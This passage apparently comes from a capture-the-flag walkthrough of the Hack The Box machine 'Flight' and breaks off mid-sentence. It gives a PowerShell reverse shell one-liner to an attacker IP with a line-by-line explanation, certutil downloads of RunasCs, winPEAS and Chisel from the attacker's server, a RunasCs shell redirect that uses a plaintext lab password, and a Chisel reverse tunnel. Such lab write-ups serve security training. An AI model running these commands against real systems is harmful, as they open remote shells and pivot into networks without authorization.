<pre><code class="lang-css"><span class="hljs-selector-tag">powershell</span> <span class="hljs-selector-tag">-nop</span> <span class="hljs-selector-tag">-c</span> "$<span class="hljs-selector-tag">client</span> = <span class="hljs-selector-tag">New-Object</span> <span class="hljs-selector-tag">System</span><span class="hljs-selector-class">.Net</span><span class="hljs-selector-class">.Sockets</span><span class="hljs-selector-class">.TCPClient</span>('10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span>',4444);$<span class="hljs-selector-tag">stream</span> = $<span class="hljs-selector-tag">client</span><span class="hljs-selector-class">.GetStream</span>();<span class="hljs-selector-attr">[byte[]</span>]$<span class="hljs-selector-tag">bytes</span> = 0.<span class="hljs-selector-class">.65535</span>|%{0};<span class="hljs-selector-tag">while</span>(($<span class="hljs-selector-tag">i</span> = $<span class="hljs-selector-tag">stream</span><span class="hljs-selector-class">.Read</span>($<span class="hljs-selector-tag">bytes</span>, 0, $<span class="hljs-selector-tag">bytes</span><span class="hljs-selector-class">.Length</span>)) <span class="hljs-selector-tag">-ne</span> 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$<span class="hljs-selector-tag">client</span><span class="hljs-selector-class">.Close</span>()"
</code></pre>
<p><code>$client = New-Object</code><a target="_blank" href="http://System.Net"><code>System.Net</code></a><code>.Sockets.TCPClient('10.10.16.20',4444)</code>: This command creates a new TCP client object that connects to the IP address '10.10.16.20' on port '4444'. It establishes a network connection to the attacker's machine.</p>
<p><code>$stream = $client.GetStream()</code>: This line gets the network stream associated with the TCP client, enabling data exchange between the local and remote systems.</p>
<p><code>[byte[]]$bytes = 0..65535|%{0}</code>: Here, an array of bytes is created to hold data received from the attacker. It allocates memory for up to 65,536 bytes.</p>
<p>The subsequent lines within the <code>while</code> loop reads incoming data from the attacker through the network stream, converts it from bytes to text, executes the received text as a PowerShell command using <code>iex</code> (Invoke-Expression), captures the command's output, and sends that output back to the attacker.</p>
<p><code>$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; '</code>: This line prepares the response to be sent back to the attacker, adding a prompt for the next command. <code>$sendback</code> contains the command's output, and <code>(pwd).Path</code> is the current working directory.</p>
<p><code>$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)</code>: This command converts the response into bytes, ready for transmission.</p>
<p><code>$stream.Write($sendbyte,0,$sendbyte.Length)</code>: It writes the response data to the network stream, sending it back to the attacker.</p>
<p><code>$stream.Flush()</code>: This command ensures that any remaining data is sent over the network.</p>
<p><code>$client.Close()</code>: Finally, the connection is closed, ending the interaction with the attacker.</p>
<p>after the execution, we successfully received a shell...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697900251640/33bbea59-1644-4738-98d5-e09541658ac0.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rlwrap</span> <span class="hljs-selector-tag">ncat</span> <span class="hljs-selector-tag">-lvnp</span> 4444 
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4444</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4444</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Connection</span> <span class="hljs-selector-tag">from</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:55272.</span>
<span class="hljs-selector-tag">dir</span>


    <span class="hljs-selector-tag">Directory</span>: <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">xampp</span>\<span class="hljs-selector-tag">htdocs</span>\<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>


<span class="hljs-selector-tag">Mode</span>                <span class="hljs-selector-tag">LastWriteTime</span>         <span class="hljs-selector-tag">Length</span> <span class="hljs-selector-tag">Name</span>                                                                  
<span class="hljs-selector-tag">----</span>                <span class="hljs-selector-tag">-------------</span>         <span class="hljs-selector-tag">------</span> <span class="hljs-selector-tag">----</span>                                                                  
<span class="hljs-selector-tag">d-----</span>       10/21/2023   2<span class="hljs-selector-pseudo">:47</span> <span class="hljs-selector-tag">PM</span>                <span class="hljs-selector-tag">images</span>                                                                
<span class="hljs-selector-tag">d-----</span>       10/21/2023   2<span class="hljs-selector-pseudo">:47</span> <span class="hljs-selector-tag">PM</span>                <span class="hljs-selector-tag">styles</span>                                                                
<span class="hljs-selector-tag">-a----</span>       10/24/2022   8<span class="hljs-selector-pseudo">:54</span> <span class="hljs-selector-tag">PM</span>           1689 <span class="hljs-selector-tag">about</span><span class="hljs-selector-class">.html</span>                                                            
<span class="hljs-selector-tag">-a----</span>       10/24/2022   8<span class="hljs-selector-pseudo">:53</span> <span class="hljs-selector-tag">PM</span>           3618 <span class="hljs-selector-tag">blog</span><span class="hljs-selector-class">.html</span>                                                             
<span class="hljs-selector-tag">-a----</span>       10/24/2022   8<span class="hljs-selector-pseudo">:56</span> <span class="hljs-selector-tag">PM</span>           2683 <span class="hljs-selector-tag">home</span><span class="hljs-selector-class">.html</span>                                                             
<span class="hljs-selector-tag">-a----</span>       10/27/2022  12<span class="hljs-selector-pseudo">:59</span> <span class="hljs-selector-tag">AM</span>           2092 <span class="hljs-selector-tag">index</span><span class="hljs-selector-class">.php</span>                                                             
<span class="hljs-selector-tag">-a----</span>       10/27/2022  12<span class="hljs-selector-pseudo">:55</span> <span class="hljs-selector-tag">AM</span>            179 <span class="hljs-selector-tag">lfi</span><span class="hljs-selector-class">.html</span>                                                              
<span class="hljs-selector-tag">-a----</span>       10/21/2023   2<span class="hljs-selector-pseudo">:47</span> <span class="hljs-selector-tag">PM</span>          20321 <span class="hljs-selector-tag">shell</span><span class="hljs-selector-class">.php</span>                                                             


<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">xampp</span>\<span class="hljs-selector-tag">htdocs</span>\<span class="hljs-selector-tag">school</span><span class="hljs-selector-class">.flight</span><span class="hljs-selector-class">.htb</span>&gt;
</code></pre>
<h3 id="heading-lateral-movement"><strong>Lateral Movement</strong></h3>
<p>The shell we have received is for the account <code>svc_apache</code> which does not have many privileges. So using the tool <a target="_blank" href="https://github.com/antonioCoco/RunasCs">RunasCs</a> we will execute netcut as the user <code>c.bum</code> who has more privileges than the user we have.</p>
<p><strong>RunasCs</strong></p>
<p><em>RunasCs is a versatile utility that allows users to run specific processes with different permissions than their current login, using explicit credentials. It overcomes the limitations of the built-in Windows "runas.exe" by supporting explicit credentials, working from both interactive and service processes, and properly managing permissions for the creation of new processes. The tool selects the best method to create a process based on the caller's token permissions, with a preference for more reliable functions like "CreateProcessAsUser()" and "CreateProcessWithTokenW()" when available. It provides options for specifying the logon type, bypassing UAC (User Account Control), and even redirecting input and output to a remote host.</em></p>
<p>to upload RunasCs we will move to the temp directory <code>c:\windows\temp</code> make a directory called <code>privesc</code> and then using <code>certutil</code> we will upload the RunasCs.exe binary on the machine... make sure you have started a simple Python server to host your file... the one you will be downloading using certutil on the victim PC.</p>
<p>we start our simple Python server to host our RunasCs.exe binary...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697902951372/5a8272a0-7d6f-43c5-94ba-4bea633fb98d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">python3</span> <span class="hljs-selector-tag">-m</span> <span class="hljs-selector-tag">http</span><span class="hljs-selector-class">.server</span> 8080 
<span class="hljs-selector-tag">Serving</span> <span class="hljs-selector-tag">HTTP</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span> <span class="hljs-selector-tag">port</span> 8080 (<span class="hljs-selector-tag">http</span>://0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:8080</span>/) ...
</code></pre>
<p>Then using certutil we download the binary on the victim machine...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697903016081/3ea7ec88-e307-4f58-ad66-b8231447ec53.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>&gt; <span class="hljs-selector-tag">certutil</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-urlcache</span> <span class="hljs-selector-tag">-split</span> <span class="hljs-selector-tag">-f</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">RunasCs</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">RunasCs</span><span class="hljs-selector-class">.exe</span>
****  <span class="hljs-selector-tag">Online</span>  ****
  0000  ...
  <span class="hljs-selector-tag">c000</span>
<span class="hljs-selector-tag">CertUtil</span>: <span class="hljs-selector-tag">-URLCache</span> <span class="hljs-selector-tag">command</span> <span class="hljs-selector-tag">completed</span> <span class="hljs-selector-tag">successfully</span>.
</code></pre>
<p>Then we start another Netcat listener on port 4443 this time...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697903245080/dd61550e-0175-4720-a238-3198bb4a0a9d.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rlwrap</span> <span class="hljs-selector-tag">ncat</span> <span class="hljs-selector-tag">-lvnp</span> 4443
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4443</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4443</span>
</code></pre>
<p>now using RunasCs:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697903941700/52b87a72-3fbd-4d84-b2b4-4fc37c34e0be.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">.\<span class="hljs-selector-tag">RunasCs</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span> <span class="hljs-selector-tag">Tikkycoll_431012284</span> <span class="hljs-selector-tag">powershell</span> <span class="hljs-selector-tag">-r</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:4443</span>
<span class="hljs-selector-attr">[*]</span> <span class="hljs-selector-tag">Warning</span>: <span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">function</span> <span class="hljs-selector-tag">CreateProcessWithLogonW</span> <span class="hljs-selector-tag">is</span> <span class="hljs-selector-tag">not</span> <span class="hljs-selector-tag">compatible</span> <span class="hljs-selector-tag">with</span> <span class="hljs-selector-tag">logon</span> <span class="hljs-selector-tag">type</span> 8. <span class="hljs-selector-tag">Reverting</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">logon</span> <span class="hljs-selector-tag">type</span> <span class="hljs-selector-tag">Interactive</span> (2)...
<span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Running</span> <span class="hljs-selector-tag">in</span> <span class="hljs-selector-tag">session</span> 0 <span class="hljs-selector-tag">with</span> <span class="hljs-selector-tag">process</span> <span class="hljs-selector-tag">function</span> <span class="hljs-selector-tag">CreateProcessWithLogonW</span>()
<span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Using</span> <span class="hljs-selector-tag">Station</span>\<span class="hljs-selector-tag">Desktop</span>: <span class="hljs-selector-tag">Service-0x0-79dea</span>$\<span class="hljs-selector-tag">Default</span>
<span class="hljs-selector-attr">[+]</span> <span class="hljs-selector-tag">Async</span> <span class="hljs-selector-tag">process</span> '<span class="hljs-selector-tag">powershell</span>' <span class="hljs-selector-tag">with</span> <span class="hljs-selector-tag">pid</span> 3744 <span class="hljs-selector-tag">created</span> <span class="hljs-selector-tag">and</span> <span class="hljs-selector-tag">left</span> <span class="hljs-selector-tag">in</span> <span class="hljs-selector-tag">background</span>.
</code></pre>
<p>The command <code>.\RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.16.20:4443</code> runs a PowerShell session on the victim's computer under the "c.bum" user account and redirects its input and output to a remote host at IP "10.10.16.20" and port "4443," allowing someone to control and interact with the PowerShell session remotely and since we had started the netcat listener on port 4443 we get a connection... this time we are the user <code>c.bum</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697904116240/8ae8b9d4-1346-46fb-b78e-566e777ec0a2.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">rlwrap</span> <span class="hljs-selector-tag">ncat</span> <span class="hljs-selector-tag">-lvnp</span> 4443
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4443</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4443</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Connection</span> <span class="hljs-selector-tag">from</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:61291.</span>
<span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">PowerShell</span> 
<span class="hljs-selector-tag">Copyright</span> (<span class="hljs-selector-tag">C</span>) <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Corporation</span>. <span class="hljs-selector-tag">All</span> <span class="hljs-selector-tag">rights</span> <span class="hljs-selector-tag">reserved</span>.

<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">system32</span>&gt; <span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">flight</span>\<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>
<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">system32</span>&gt;
</code></pre>
<p>and we get the user flag as:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697904333982/e85d9387-e826-4b03-be20-1f66c2c98725.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Version</span> 7<span class="hljs-selector-class">.94</span> ( <span class="hljs-selector-tag">https</span>://<span class="hljs-selector-tag">nmap</span><span class="hljs-selector-class">.org</span>/<span class="hljs-selector-tag">ncat</span> )
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-attr">[::]</span><span class="hljs-selector-pseudo">:4443</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> 0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:4443</span>
<span class="hljs-selector-tag">Ncat</span>: <span class="hljs-selector-tag">Connection</span> <span class="hljs-selector-tag">from</span> 10<span class="hljs-selector-class">.129</span><span class="hljs-selector-class">.250</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:61291.</span>
<span class="hljs-selector-tag">Windows</span> <span class="hljs-selector-tag">PowerShell</span> 
<span class="hljs-selector-tag">Copyright</span> (<span class="hljs-selector-tag">C</span>) <span class="hljs-selector-tag">Microsoft</span> <span class="hljs-selector-tag">Corporation</span>. <span class="hljs-selector-tag">All</span> <span class="hljs-selector-tag">rights</span> <span class="hljs-selector-tag">reserved</span>.

<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">system32</span>&gt; <span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">whoami</span>
<span class="hljs-selector-tag">flight</span>\<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>
<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">system32</span>&gt; <span class="hljs-selector-tag">type</span> <span class="hljs-selector-tag">c</span>:/<span class="hljs-selector-tag">users</span>/<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>/<span class="hljs-selector-tag">desktop</span>/<span class="hljs-selector-tag">user</span><span class="hljs-selector-class">.txt</span>
<span class="hljs-selector-tag">type</span> <span class="hljs-selector-tag">c</span>:/<span class="hljs-selector-tag">users</span>/<span class="hljs-selector-tag">c</span><span class="hljs-selector-class">.bum</span>/<span class="hljs-selector-tag">desktop</span>/<span class="hljs-selector-tag">user</span><span class="hljs-selector-class">.txt</span>
683<span class="hljs-selector-tag">e5f48a8edfc5d95821d5fb5285e47</span>
<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">Windows</span>\<span class="hljs-selector-tag">system32</span>&gt;
</code></pre>
<h3 id="heading-privilege-escalation">Privilege escalation</h3>
<p>For privilege escalation, we will upload <code>winpeas</code> to the machine to check the privilege escalation paths that we can use... we move to the temp directory and create a directory called <code>temp</code> then another directory inside that called <code>privesc</code> where we will upload this binary.</p>
<p>Now just as we created a simple Python server we do the same to host our <code>winPEASx64.exe</code> binary. Then we download the binary to the victim machine using <code>certutil</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697905528572/55454670-9424-40d2-9372-ed267a77848e.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>&gt; <span class="hljs-selector-tag">certutil</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-urlcache</span> <span class="hljs-selector-tag">-split</span> <span class="hljs-selector-tag">-f</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">winPEASx64</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">winPEASx64</span><span class="hljs-selector-class">.exe</span>
<span class="hljs-selector-tag">certutil</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-urlcache</span> <span class="hljs-selector-tag">-split</span> <span class="hljs-selector-tag">-f</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">winPEASx64</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">winPEASx64</span><span class="hljs-selector-class">.exe</span>
****  <span class="hljs-selector-tag">Online</span>  ****
  000000  ...
  1<span class="hljs-selector-tag">eea00</span>
<span class="hljs-selector-tag">CertUtil</span>: <span class="hljs-selector-tag">-URLCache</span> <span class="hljs-selector-tag">command</span> <span class="hljs-selector-tag">completed</span> <span class="hljs-selector-tag">successfully</span>.
<span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>&gt; <span class="hljs-selector-tag">dir</span>
<span class="hljs-selector-tag">dir</span>


    <span class="hljs-selector-tag">Directory</span>: <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>


<span class="hljs-selector-tag">Mode</span>                <span class="hljs-selector-tag">LastWriteTime</span>         <span class="hljs-selector-tag">Length</span> <span class="hljs-selector-tag">Name</span>                                                                  
<span class="hljs-selector-tag">----</span>                <span class="hljs-selector-tag">-------------</span>         <span class="hljs-selector-tag">------</span> <span class="hljs-selector-tag">----</span>                                                                  
<span class="hljs-selector-tag">-a----</span>       10/21/2023   4<span class="hljs-selector-pseudo">:22</span> <span class="hljs-selector-tag">PM</span>        2025984 <span class="hljs-selector-tag">winPEASx64</span><span class="hljs-selector-class">.exe</span>
</code></pre>
<p>Now we will execute it and make it save our results to a file called <code>results.txt</code></p>
<p>when we check out the results of the enumeration done by the <code>winPEASx64</code> script, we see something interesting in the <code>Current TCP Listening ports</code> and we see the interesting output... the <code>port 8000</code> which can be a website running internally on the machine. We can try and port-forward the port onto our machine.</p>
<p><strong>Port-Forwarding using Chisel</strong></p>
<p><em>Port forwarding using Chisel is a technique that securely redirects network traffic from one location to another. It creates a secure tunnel that allows you to access services or resources on a remote network or machine, typically bypassing firewalls or accessing internal systems. Chisel acts as an intermediary, forwarding traffic from a specified port on one end to another on the other end, enabling remote access to services that would otherwise be inaccessible from the external location. This is particularly useful for network administrators and security professionals when they need to bridge network segments or securely access services on remote systems.</em></p>
<p>so now we will upload the chisel.exe binary onto the machine using certutil... just as we did with the other uploads.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697907562042/ee63b620-b7f4-43e1-a4c2-dd326d056f1f.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css"><span class="hljs-selector-tag">PS</span> <span class="hljs-selector-tag">C</span>:\<span class="hljs-selector-tag">windows</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">temp</span>\<span class="hljs-selector-tag">privesc</span>&gt; <span class="hljs-selector-tag">certutil</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-urlcache</span> <span class="hljs-selector-tag">-split</span> <span class="hljs-selector-tag">-f</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">chisel</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">chisel</span><span class="hljs-selector-class">.exe</span>
<span class="hljs-selector-tag">certutil</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-urlcache</span> <span class="hljs-selector-tag">-split</span> <span class="hljs-selector-tag">-f</span> <span class="hljs-selector-tag">http</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8080</span>/<span class="hljs-selector-tag">chisel</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">chisel</span><span class="hljs-selector-class">.exe</span>
****  <span class="hljs-selector-tag">Online</span>  ****
  000000  ...
  827000
<span class="hljs-selector-tag">CertUtil</span>: <span class="hljs-selector-tag">-URLCache</span> <span class="hljs-selector-tag">command</span> <span class="hljs-selector-tag">completed</span> <span class="hljs-selector-tag">successfully</span>.
</code></pre>
<p>so now on my machine, I will start a <code>chisel</code> server that listens for incoming connections on <code>port 8000</code> in reverse mode, allowing Chisel clients to connect to the server and establish secure tunnels for various network-related tasks. make sure you have a chisel Linux binary on your machine to do this... well it depends on the machine you're using to attack... mine's Linux...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697909945756/651e927a-94c9-42bf-86be-a033def93ad9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">./<span class="hljs-selector-tag">chisel</span> <span class="hljs-selector-tag">server</span> <span class="hljs-selector-tag">-v</span> <span class="hljs-selector-tag">-p</span> 8000 <span class="hljs-selector-tag">--reverse</span> 
2023/10/21 20<span class="hljs-selector-pseudo">:19</span><span class="hljs-selector-pseudo">:47</span> <span class="hljs-selector-tag">server</span>: <span class="hljs-selector-tag">Reverse</span> <span class="hljs-selector-tag">tunnelling</span> <span class="hljs-selector-tag">enabled</span>
2023/10/21 20<span class="hljs-selector-pseudo">:19</span><span class="hljs-selector-pseudo">:47</span> <span class="hljs-selector-tag">server</span>: <span class="hljs-selector-tag">Fingerprint</span> <span class="hljs-selector-tag">lvYWBZUReO9PgqDJZjg1jn4xwVj</span>/<span class="hljs-selector-tag">cdYJ2O3YjmVqu6U</span>=
2023/10/21 20<span class="hljs-selector-pseudo">:19</span><span class="hljs-selector-pseudo">:47</span> <span class="hljs-selector-tag">server</span>: <span class="hljs-selector-tag">Listening</span> <span class="hljs-selector-tag">on</span> <span class="hljs-selector-tag">http</span>://0<span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-pseudo">:8000</span>
</code></pre>
<p>and then on the victim machine, we do:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1697915345520/e603548e-33d3-4027-af8d-c4efd2684033.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-css">./<span class="hljs-selector-tag">chisel</span> <span class="hljs-selector-tag">client</span> <span class="hljs-selector-tag">-v</span> 10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8000</span> <span class="hljs-selector-tag">R</span><span class="hljs-selector-pseudo">:7777</span><span class="hljs-selector-pseudo">:127.0.0.1</span><span class="hljs-selector-pseudo">:8000</span>
2023/10/21 17<span class="hljs-selector-pseudo">:56</span><span class="hljs-selector-pseudo">:22</span> <span class="hljs-selector-tag">client</span>: <span class="hljs-selector-tag">Connecting</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">ws</span>://10<span class="hljs-selector-class">.10</span><span class="hljs-selector-class">.16</span><span class="hljs-selector-class">.20</span><span class="hljs-selector-pseudo">:8000</span>
2023/10/21 17<span class="hljs-selector-pseudo">:56</span><span class="hljs-selector-pseudo">:23</span> <span class="hljs-selector-tag">client</span>: <span class="hljs-selector-tag">Handshaking</span>...
2023/10/21 17<span class="hljs-selector-pseudo">:56</span><span class="hljs-selector-pseudo">:26</span> <span class="hljs-selector-tag">client</span>: <span class="hljs-selector-tag">Sending</span> <span class="hljs-selector-tag">config</span>
2023/10/21 17<span class="hljs-selector-pseudo">:56</span><span class="hljs-selector-pseudo">:27</span> <span class="hljs-selector-tag">client</span>: <span class="hljs-selector-tag">Connected</span> (<span class="hljs-selector-tag">Latency</span> 829<span class="hljs-selector-class">.0756ms</span>)
2023/10/21 17<span class="hljs-selector-pseudo">:56</span><span class="hljs-selector-pseudo">:27</span> <span class="hljs-selector-tag">client</span>: <span class="hljs-selector-tag">tun</span>: <span class="hljs-selector-tag">SSH</span> <span class="hljs-selector-tag">connected</span>
</code></pre>
<ul>
<li><p><code>./chisel client</code>: This is the command to run the Chisel client.</p>
</li>
<li><p><code>-v</code>: It enables verbose mode, providing detailed output for monitoring and troubleshooting.</p>
</li>
<li><p><code>10.10.16.20:8000</code>: The Chisel client connects to the Chisel server located at the IP address "10.10.16.20" on port 8000.</p>
</li>
<li><p><code>R:7777:</code><a target="_blank" href="http://localhost:8000"><code>127.0.0.1:8000</code></a>: This part of the command sets up a remote port forwarding rule. It forwards traffic from the Chisel client's local port 7777 to the Chisel server's <a target="_blank" href="http://localhost:8000"><code>127.0.0.1:8000</code></a>. In this configuration, it redirects data from the client's port 7777 to the server's <a target="_blank" href="http://localhost:8000"><code>127.0.0.1:8000</code></a>.</p>
<p>  now when we visit the page <code>http://127.0.0.1:7777</code> on your web browser you will get</p>
